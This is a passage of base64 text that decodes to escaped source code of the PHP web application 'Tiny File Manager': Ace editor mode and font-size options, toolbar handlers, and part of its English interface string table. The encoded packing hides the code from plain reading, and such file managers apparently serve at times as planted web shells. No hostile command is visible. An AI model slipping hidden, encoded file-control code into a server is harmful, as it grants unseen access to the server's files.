CAgICAgIFwiaGFza2VsbF9jYWJhbFwiOiBcIkhhc2tlbGwgQ2FiYWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJoYXhlXCI6IFwiaGFYZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImhqc29uXCI6IFwiSGpzb25cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJodG1sXCI6IFwiSFRNTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImh0bWxfZWxpeGlyXCI6IFwiSFRNTCAoRWxpeGlyKVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImh0bWxfcnVieVwiOiBcIkhUTUwgKFJ1YnkpXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaW5pXCI6IFwiSU5JXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaW9cIjogXCJJb1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImphY2tcIjogXCJKYWNrXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiamFkZVwiOiBcIkphZGVcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqYXZhXCI6IFwiSmF2YVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImpzb25cIjogXCJKU09OXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwianNvbmlxXCI6IFwiSlNPTmlxXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwianNwXCI6IFwiSlNQXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwianNzbVwiOiBcIkpTU01cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqc3hcIjogXCJKU1hcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqdWxpYVwiOiBcIkp1bGlhXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwia290bGluXCI6IFwiS290bGluXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibGF0ZXhcIjogXCJMYVRlWFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImxlc3NcIjogXCJMRVNTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibGlxdWlkXCI6IFwiTGlxdWlkXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibGlzcFwiOiBcIkxpc3BcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJsaXZlc2NyaXB0XCI6IFwiTGl2ZVNjcmlwdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImxvZ2lxbFwiOiBcIkxvZ2lRTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImxzbFwiOiBcIkxTTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImx1YVwiOiBcIkx1YVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImx1YXBhZ2VcIjogXCJMdWFQYWdlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibHVjZW5lXCI6IFwiTHVjZW5lXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWFrZWZpbGVcIjogXCJNYWtlZmlsZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm1hcmtkb3duXCI6IFwiTWFya2Rvd25cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJtYXNrXCI6IFwiTWFza1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm1hdGxhYlwiOiBcIk1BVExBQlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm1hemVcIjogXCJNYXplXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWVsXCI6IFwiTUVMXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWl4YWxcIjogXCJNSVhBTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm11c2hjb2RlXCI6IFwiTVVTSENvZGVcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJteXNxbFwiOiBcIk15U1FMXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibml4XCI6IFwiTml4XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibnNpc1wiOiBcIk5TSVNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJvYmplY3RpdmVjXCI6IFwiT2JqZWN0aXZlLUNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJvY2FtbFwiOiBcIk9DYW1sXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGFzY2FsXCI6IFwiUGFzY2FsXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGVybFwiOiBcIlBlcmxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwZXJsNlwiOiBcIlBlcmwgNlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInBnc3FsXCI6IFwicGdTUUxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwaHBfbGFyYXZlbF9ibGFkZVwiOiBcIlBIUCAoQmxhZGUgVGVtcGxhdGUpXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGhwXCI6IFwiUEhQXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHVwcGV0XCI6IFwiUHVwcGV0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGlnXCI6IFwiUGlnXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicG93ZXJzaGVsbFwiOiBcIlBvd2Vyc2hlbGxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwcmFhdFwiOiBcIlByYWF0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHJvbG9nXCI6IFwiUHJvbG9nXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHJvcGVydGllc1wiOiBcIlByb3BlcnRpZXNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwcm90b2J1ZlwiOiBcIlByb3RvYnVmXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHl0aG9uXCI6IFwiUHl0aG9uXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiclwiOiBcIlJcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJyYXpvclwiOiBcIlJhem9yXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicmRvY1wiOiBcIlJEb2NcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJyZWRcIjogXCJSZWRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJyaHRtbFwiOiBcIlJIVE1MXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicnN0XCI6IFwiUlNUXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicnVieVwiOiBcIlJ1YnlcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJydXN0XCI6IFwiUnVzdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNhc3NcIjogXCJTQVNTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2NhZFwiOiBcIlNDQURcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzY2FsYVwiOiBcIlNjYWxhXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2NoZW1lXCI6IFwiU2NoZW1lXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2Nzc1wiOiBcIlNDU1NcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzaFwiOiBcIlNIXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2pzXCI6IFwiU0pTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2xpbVwiOiBcIlNsaW1cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzbWFydHlcIjogXCJTbWFydHlcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzbmlwcGV0c1wiOiBcInNuaXBwZXRzXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic295X3RlbXBsYXRlXCI6IFwiU295IFRlbXBsYXRlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic3BhY2VcIjogXCJTcGFjZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNxbFwiOiBcIlNRTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNxbHNlcnZlclwiOiBcIlNRTFNlcnZlclwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInN0eWx1c1wiOiBcIlN0eWx1c1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInN2Z1wiOiBcIlNWR1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInN3aWZ0XCI6IFwiU3dpZnRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0Y2xcIjogXCJUY2xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXJyYWZvcm1cIjogXCJUZXJyYWZvcm1cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXhcIjogXCJUZXhcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXh0XCI6IFwiVGV4dFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInRleHRpbGVcIjogXCJUZXh0aWxlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidG9tbFwiOiBcIlRvbWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0c3hcIjogXCJUU1hcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0d2lnXCI6IFwiVHdpZ1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInR5cGVzY3JpcHRcIjogXCJUeXBlc2NyaXB0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidmFsYVwiOiBcIlZhbGFcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ2YnNjcmlwdFwiOiBcIlZCU2NyaXB0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidmVsb2NpdHlcIjogXCJWZWxvY2l0eVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInZlcmlsb2dcIjogXCJWZXJpbG9nXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidmhkbFwiOiBcIlZIRExcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ2aXN1YWxmb3JjZVwiOiBcIlZpc3VhbGZvcmNlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwid29sbG9rXCI6IFwiV29sbG9rXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieG1sXCI6IFwiWE1MXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieHF1ZXJ5XCI6IFwiWFF1ZXJ5XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieWFtbFwiOiBcIllBTUxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkamFuZ29cIjogXCJEamFuZ29cIlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmb250U2l6ZVwiOiB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDg6IDgsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDEwOiAxMCxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTE6IDExLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxMjogMTIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDEzOiAxMyxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTQ6IDE0LFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxNTogMTUsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDE2OiAxNixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTc6IDE3LFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxODogMTgsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDIwOiAyMCxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMjI6IDIyLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAyNDogMjQsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDI2OiAyNixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMzA6IDMwXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgfTtcbiAgICAgICAgICAgICAgICAgICAgaWYgKF9kYXRhICYmIF9kYXRhLmFjZU1vZGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRtb2RlRWwuaHRtbChvcHRpb25Ob2RlKFwiYWNlXC9tb2RlXC9cIiwgX2RhdGEuYWNlTW9kZSkpO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIGlmIChfZGF0YSAmJiBfZGF0YS5hY2VUaGVtZSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGxpZ2h0VGhlbWUgPSBvcHRpb25Ob2RlKFwiYWNlXC90aGVtZVwvXCIsIF9kYXRhLmFjZVRoZW1lLmJyaWdodCksXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZGFya1RoZW1lID0gb3B0aW9uTm9kZShcImFjZVwvdGhlbWVcL1wiLCBfZGF0YS5hY2VUaGVtZS5kYXJrKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICR0aGVtZUVsLmh0bWwoXCI8b3B0Z3JvdXAgbGFiZWw9XFxcIkJyaWdodFxcXCI+XCIgKyBsaWdodFRoZW1lICsgXCI8XC9vcHRncm91cD48b3B0Z3JvdXAgbGFiZWw9XFxcIkRhcmtcXFwiPlwiICsgZGFya1RoZW1lICsgXCI8XC9vcHRncm91cD5cIik7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgaWYgKF9kYXRhICYmIF9kYXRhLmZvbnRTaXplKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkZm9udFNpemVFbC5odG1sKG9wdGlvbk5vZGUoXCJcIiwgX2RhdGEuZm9udFNpemUpKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAkbW9kZUVsLnZhbChlZGl0b3IuZ2V0U2Vzc2lvbigpLiRtb2RlSWQpO1xuICAgICAgICAgICAgICAgICAgICAkdGhlbWVFbC52YWwoZWRpdG9yLmdldFRoZW1lKCkpO1xuICAgICAgICAgICAgICAgICAgICAkKGZ1bmN0aW9uKCkge1xuICAgICAgICAgICAgICAgICAgICAgICAgJGZvbnRTaXplRWwudmFsKDEyKS5jaGFuZ2UoKTtcbiAgICAgICAgICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgJChmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgcmVuZGVyVGhlbWVNb2RlKCk7XG4gICAgICAgICAgICAgICAgICAgICQoXCIuanMtYWNlLXRvb2xiYXJcIikub24oXCJjbGlja1wiLCAnYnV0dG9uJywgZnVuY3Rpb24oZSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpO1xuICAgICAgICAgICAgICAgICAgICAgICAgbGV0IGNtZFZhbHVlID0gJCh0aGlzKS5hdHRyKFwiZGF0YS1jbWRcIiksXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZWRpdG9yT3B0aW9uID0gJCh0aGlzKS5hdHRyKFwiZGF0YS1vcHRpb25cIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoY21kVmFsdWUgJiYgY21kVmFsdWUgIT0gXCJub25lXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBhY2VfY29tbWVuZChjbWRWYWx1ZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGVkaXRvck9wdGlvbikge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlZGl0b3JPcHRpb24gPT0gXCJmdWxsc2NyZWVuXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKHZvaWQgMCAhPT0gZG9jdW1lbnQuZnVsbFNjcmVlbkVsZW1lbnQgJiYgbnVsbCA9PT0gZG9jdW1lbnQuZnVsbFNjcmVlbkVsZW1lbnQgfHwgdm9pZCAwICE9PSBkb2N1bWVudC5tc0Z1bGxzY3JlZW5FbGVtZW50ICYmIG51bGwgPT09IGRvY3VtZW50Lm1zRnVsbHNjcmVlbkVsZW1lbnQgfHwgdm9pZCAwICE9PSBkb2N1bWVudC5tb3pGdWxsU2NyZWVuICYmICFkb2N1bWVudC5tb3pGdWxsU2NyZWVuIHx8IHZvaWQgMCAhPT0gZG9jdW1lbnQud2Via2l0SXNGdWxsU2NyZWVuICYmICFkb2N1bWVudC53ZWJraXRJc0Z1bGxTY3JlZW4pICYmXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIChlZGl0b3IuY29udGFpbmVyLnJlcXVlc3RGdWxsU2NyZWVuID8gZWRpdG9yLmNvbnRhaW5lci5yZXF1ZXN0RnVsbFNjcmVlbigpIDogZWRpdG9yLmNvbnRhaW5lci5tb3pSZXF1ZXN0RnVsbFNjcmVlbiA/IGVkaXRvci5jb250YWluZXIubW96UmVxdWVzdEZ1bGxTY3JlZW4oKSA6IGVkaXRvci5jb250YWluZXIud2Via2l0UmVxdWVzdEZ1bGxTY3JlZW4gPyBlZGl0b3IuY29udGFpbmVyLndlYmtpdFJlcXVlc3RGdWxsU2NyZWVuKEVsZW1lbnQuQUxMT1dfS0VZQk9BUkRfSU5QVVQpIDogZWRpdG9yLmNvbnRhaW5lci5tc1JlcXVlc3RGdWxsc2NyZWVuICYmIGVkaXRvci5jb250YWluZXIubXNSZXF1ZXN0RnVsbHNjcmVlbigpKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGVkaXRvck9wdGlvbiA9PSBcIndyYXBcIikge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsZXQgd3JhcFN0YXR1cyA9IChlZGl0b3IuZ2V0U2Vzc2lvbigpLmdldFVzZVdyYXBNb2RlKCkpID8gZmFsc2UgOiB0cnVlO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3IuZ2V0U2Vzc2lvbigpLnNldFVzZVdyYXBNb2RlKHdyYXBTdGF0dXMpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSk7XG5cbiAgICAgICAgICAgICAgICAgICAgJChcInNlbGVjdCNqcy1hY2UtbW9kZSwgc2VsZWN0I2pzLWFjZS10aGVtZSwgc2VsZWN0I2pzLWFjZS1mb250U2l6ZVwiKS5vbihcImNoYW5nZVwiLCBmdW5jdGlvbihlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7XG4gICAgICAgICAgICAgICAgICAgICAgICBsZXQgc2VsZWN0ZWRWYWx1ZSA9ICQodGhpcykudmFsKCksXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VsZWN0aW9uVHlwZSA9ICQodGhpcykuYXR0cihcImRhdGEtdHlwZVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChzZWxlY3RlZFZhbHVlICYmIHNlbGVjdGlvblR5cGUgPT0gXCJtb2RlXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3IuZ2V0U2Vzc2lvbigpLnNldE1vZGUoc2VsZWN0ZWRWYWx1ZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKHNlbGVjdGVkVmFsdWUgJiYgc2VsZWN0aW9uVHlwZSA9PSBcInRoZW1lXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3Iuc2V0VGhlbWUoc2VsZWN0ZWRWYWx1ZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKHNlbGVjdGVkVmFsdWUgJiYgc2VsZWN0aW9uVHlwZSA9PSBcImZvbnRTaXplXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3Iuc2V0Rm9udFNpemUocGFyc2VJbnQoc2VsZWN0ZWRWYWx1ZSkpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9KTtcbiAgICAgICAgICAgICAgICB9KTtcbiAgICAgICAgICAgIDxcL3NjcmlwdD5cbiAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgIDxkaXYgaWQ9XCJzbmFja2JhclwiPjxcL2Rpdj5cbiAgICA8XC9ib2R5PlxuXG4gICAgPFwvaHRtbD5cbjw/cGhwXG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIExhbmd1YWdlIFRyYW5zbGF0aW9uIFN5c3RlbVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJHR4dFxuICAgICAqIEByZXR1cm4gc3RyaW5nXG4gICAgICpcL1xuICAgIGZ1bmN0aW9uIGxuZygkdHh0KVxuICAgIHtcbiAgICAgICAgZ2xvYmFsICRsYW5nO1xuXG4gICAgICAgICR0clsnZW4nXVsnQXBwTmFtZSddICAgICAgICA9ICdUaW55IEZpbGUgTWFuYWdlcic7XG4gICAgICAgICR0clsnZW4nXVsnQXBwVGl0bGUnXSAgICAgICA9ICdGaWxlIE1hbmFnZXInO1xuICAgICAgICAkdHJbJ2VuJ11bJ0xvZ2luJ10gICAgICAgICAgPSAnU2lnbiBpbic7XG4gICAgICAgICR0clsnZW4nXVsnVXNlcm5hbWUnXSAgICAgICA9ICdVc2VybmFtZSc7XG4gICAgICAgICR0clsnZW4nXVsnUGFzc3dvcmQnXSAgICAgICA9ICdQYXNzd29yZCc7XG4gICAgICAgICR0clsnZW4nXVsnTG9nb3V0J10gICAgICAgICA9ICdTaWduIE91dCc7XG4gICAgICAgICR0clsnZW4nXVsnTW92ZSddICAgICAgICAgICA9ICdNb3ZlJztcbiAgICAgICAgJHRyWydlbiddWydDb3B5J10gICAgICAgICAgID0gJ0NvcHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NhdmUnXSAgICAgICAgICAgPSAnU2F2ZSc7XG4gICAgICAgICR0clsnZW4nXVsnU2VsZWN0QWxsJ10gICAgICA9ICdTZWxlY3QgYWxsJztcbiAgICAgICAgJHRyWydlbiddWydVblNlbGVjdEFsbCddICAgID0gJ1Vuc2VsZWN0IGFsbCc7XG4gICAgICAgICR0clsnZW4nXVsnRmlsZSddICAgICAgICAgICA9ICdGaWxlJztcbiAgICAgICAgJHRyWydlbiddWydCYWNrJ10gICAgICAgICAgID0gJ0JhY2snO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NpemUnXSAgICAgICAgICAgPSAnU2l6ZSc7XG4gICAgICAgICR0clsnZW4nXVsnUGVybXMnXSAgICAgICAgICA9ICdQZXJtcyc7XG4gICAgICAgICR0clsnZW4nXVsnTW9kaWZpZWQnXSAgICAgICA9ICdNb2RpZmllZCc7XG4gICAgICAgICR0clsnZW4nXVsnT3duZXInXSAgICAgICAgICA9ICdPd25lcic7XG4gICAgICAgICR0clsnZW4nXVsnU2VhcmNoJ10gICAgICAgICA9ICdTZWFyY2gnO1xuICAgICAgICAkdHJbJ2VuJ11bJ05ld0l0ZW0nXSAgICAgICAgPSAnTmV3IEl0ZW0nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0ZvbGRlciddICAgICAgICAgPSAnRm9sZGVyJztcbiAgICAgICAgJHRyWydlbiddWydEZWxldGUnXSAgICAgICAgID0gJ0RlbGV0ZSc7XG4gICAgICAgICR0clsnZW4nXVsnUmVuYW1lJ10gICAgICAgICA9ICdSZW5hbWUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NvcHlUbyddICAgICAgICAgPSAnQ29weSB0byc7XG4gICAgICAgICR0clsnZW4nXVsnRGlyZWN0TGluayddICAgICA9ICdEaXJlY3QgbGluayc7XG4gICAgICAgICR0clsnZW4nXVsnVXBsb2FkaW5nRmlsZXMnXSA9ICdVcGxvYWQgRmlsZXMnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NoYW5nZVBlcm1pc3Npb25zJ10gID0gJ0NoYW5nZSBQZXJtaXNzaW9ucyc7XG4gICAgICAgICR0clsnZW4nXVsnQ29weWluZyddICAgICAgICA9ICdDb3B5aW5nJztcbiAgICAgICAgJHRyWydlbiddWydDcmVhdGVOZXdJdGVtJ10gID0gJ0NyZWF0ZSBOZXcgSXRlbSc7XG4gICAgICAgICR0clsnZW4nXVsnTmFtZSddICAgICAgICAgICA9ICdOYW1lJztcbiAgICAgICAgJHRyWydlbiddWydBZHZhbmNlZEVkaXRvciddID0gJ0FkdmFuY2VkIEVkaXRvcic7XG4gICAgICAgICR0clsnZW4nXVsnQWN0aW9ucyddICAgICAgICA9ICdBY3Rpb25zJztcbiAgICAgICAgJHRyWydlbiddWydGb2xkZXIgaXMgZW1wdHknXSA9ICdGb2xkZXIgaXMgZW1wdHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ1VwbG9hZCddICAgICAgICAgPSAnVXBsb2FkJztcbiAgICAgICAgJHRyWydlbiddWydDYW5jZWwnXSAgICAgICAgID0gJ0NhbmNlbCc7XG4gICAgICAgICR0clsnZW4nXVsnSW52ZXJ0U2VsZWN0aW9uJ10gPSAnSW52ZXJ0IFNlbGVjdGlvbic7XG4gICAgICAgICR0clsnZW4nXVsnRGVzdGluYXRpb25Gb2xkZXInXSAgPSAnRGVzdGluYXRpb24gRm9sZGVyJztcbiAgICAgICAgJHRyWydlbiddWydJdGVtVHlwZSddICAgICAgID0gJ0l0ZW0gVHlwZSc7XG4gICAgICAgICR0clsnZW4nXVsnSXRlbU5hbWUnXSAgICAgICA9ICdJdGVtIE5hbWUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NyZWF0ZU5vdyddICAgICAgPSAnQ3JlYXRlIE5vdyc7XG4gICAgICAgICR0clsnZW4nXVsnRG93bmxvYWQnXSAgICAgICA9ICdEb3dubG9hZCc7XG4gICAgICAgICR0clsnZW4nXVsnT3BlbiddICAgICAgICAgICA9ICdPcGVuJztcbiAgICAgICAgJHRyWydlbiddWydVblppcCddICAgICAgICAgID0gJ1VuWmlwJztcbiAgICAgICAgJHRyWydlbiddWydVblppcFRvRm9sZGVyJ10gID0gJ1VuWmlwIHRvIGZvbGRlcic7XG4gICAgICAgICR0clsnZW4nXVsnRWRpdCddICAgICAgICAgICA9ICdFZGl0JztcbiAgICAgICAgJHRyWydlbiddWydOb3JtYWxFZGl0b3InXSAgID0gJ05vcm1hbCBFZGl0b3InO1xuICAgICAgICAkdHJbJ2VuJ11bJ0JhY2tVcCddICAgICAgICAgPSAnQmFjayBVcCc7XG4gICAgICAgICR0clsnZW4nXVsnU291cmNlRm9sZGVyJ10gICA9ICdTb3VyY2UgRm9sZGVyJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlcyddICAgICAgICAgID0gJ0ZpbGVzJztcbiAgICAgICAgJHRyWydlbiddWydNb3ZlJ10gICAgICAgICAgID0gJ01vdmUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NoYW5nZSddICAgICAgICAgPSAnQ2hhbmdlJztcbiAgICAgICAgJHRyWydlbiddWydTZXR0aW5ncyddICAgICAgID0gJ1NldHRpbmdzJztcbiAgICAgICAgJHRyWydlbiddWydMYW5ndWFnZSddICAgICAgID0gJ0xhbmd1YWdlJztcbiAgICAgICAgJHRyWydlbiddWydFcnJvclJlcG9ydGluZyddID0gJ0Vycm9yIFJlcG9ydGluZyc7XG4gICAgICAgICR0clsnZW4nXVsnU2hvd0hpZGRlbkZpbGVzJ10gPSAnU2hvdyBIaWRkZW4gRmlsZXMnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0hlbHAnXSAgICAgICAgICAgPSAnSGVscCc7XG4gICAgICAgICR0clsnZW4nXVsnQ3Jl